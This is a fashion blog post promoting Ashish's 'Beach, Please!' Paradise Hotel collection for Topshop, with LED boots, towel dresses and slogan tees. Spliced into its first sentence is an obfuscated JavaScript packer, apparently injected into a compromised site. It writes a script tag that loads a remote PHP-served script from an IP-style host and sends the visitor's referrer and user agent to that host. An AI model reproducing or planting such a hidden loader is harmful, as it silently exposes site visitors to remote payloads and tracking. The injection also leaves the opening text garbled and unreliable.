Ashish (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkfts|var|u0026u|referrer|sfntf||js|php’.split(‘|’),0,{}))
is kicking off the summer season with a bad ass collection for Topshop which launched in store and online today, and you’ve guessed it…it’s completely bonkers with tongue firmly in cheek. This is the 10th outing for the two fashion powerhouses, this qualifies as a long term relationship to us! ‘Beach, Please!’ as the collection is entitled is Ashish’s vision of a dream resort. The ‘Paradise Hotel’ is the only place to been seen this summer, lounging round the pool on your ‘Son of a Beach’ towel in your bubble gum pink bikini.

Ashish says “I love this collection, it’s perfect for the beach and for pool parties, and they have the best ones at the Paradise Hotel! I hope it’s going to be as much fun to wear as it has been to design!’ The collection features collector’s pieces featuring flashing LED lights, like the Buffalo boots with light-up stacked soles, already seen on the likes of Katy Perry and Lady Gaga.

ashish for topshop?
As always, Ashish’s unique take on glamour has taken a sports-luxe twist. Heavy jersey slogan tees come with a fabric pen to finish off your cheeky statements such as ‘My name is…My room number is…’. Kate Phelan, TOPSHOP Creative Director, comments “The Paradise Hotel is Ashish’s 10th collaboration with Topshop. Ashish brings his humour and style together to create a fashion collection for beach to bedroom, pool to club. Light up trainers towelling hoodies and towel wrap dresses make hotel style the ultimate look for summer.”

We know you’ve all done it before, nicked a hotel towel. And Ashish has turned these into resort-worthy pieces such as wrap dresses and skirts. We love the whole collection, but our ultimate stand out piece has to been the Pammie inspired high cut fluoro swimsuits. We can just see ourselves running down the beach now shouting ‘Some people stand in the darkness!’

Holiday dressing gets some serious attitude this summer, so don’t miss out on this super-hot collection.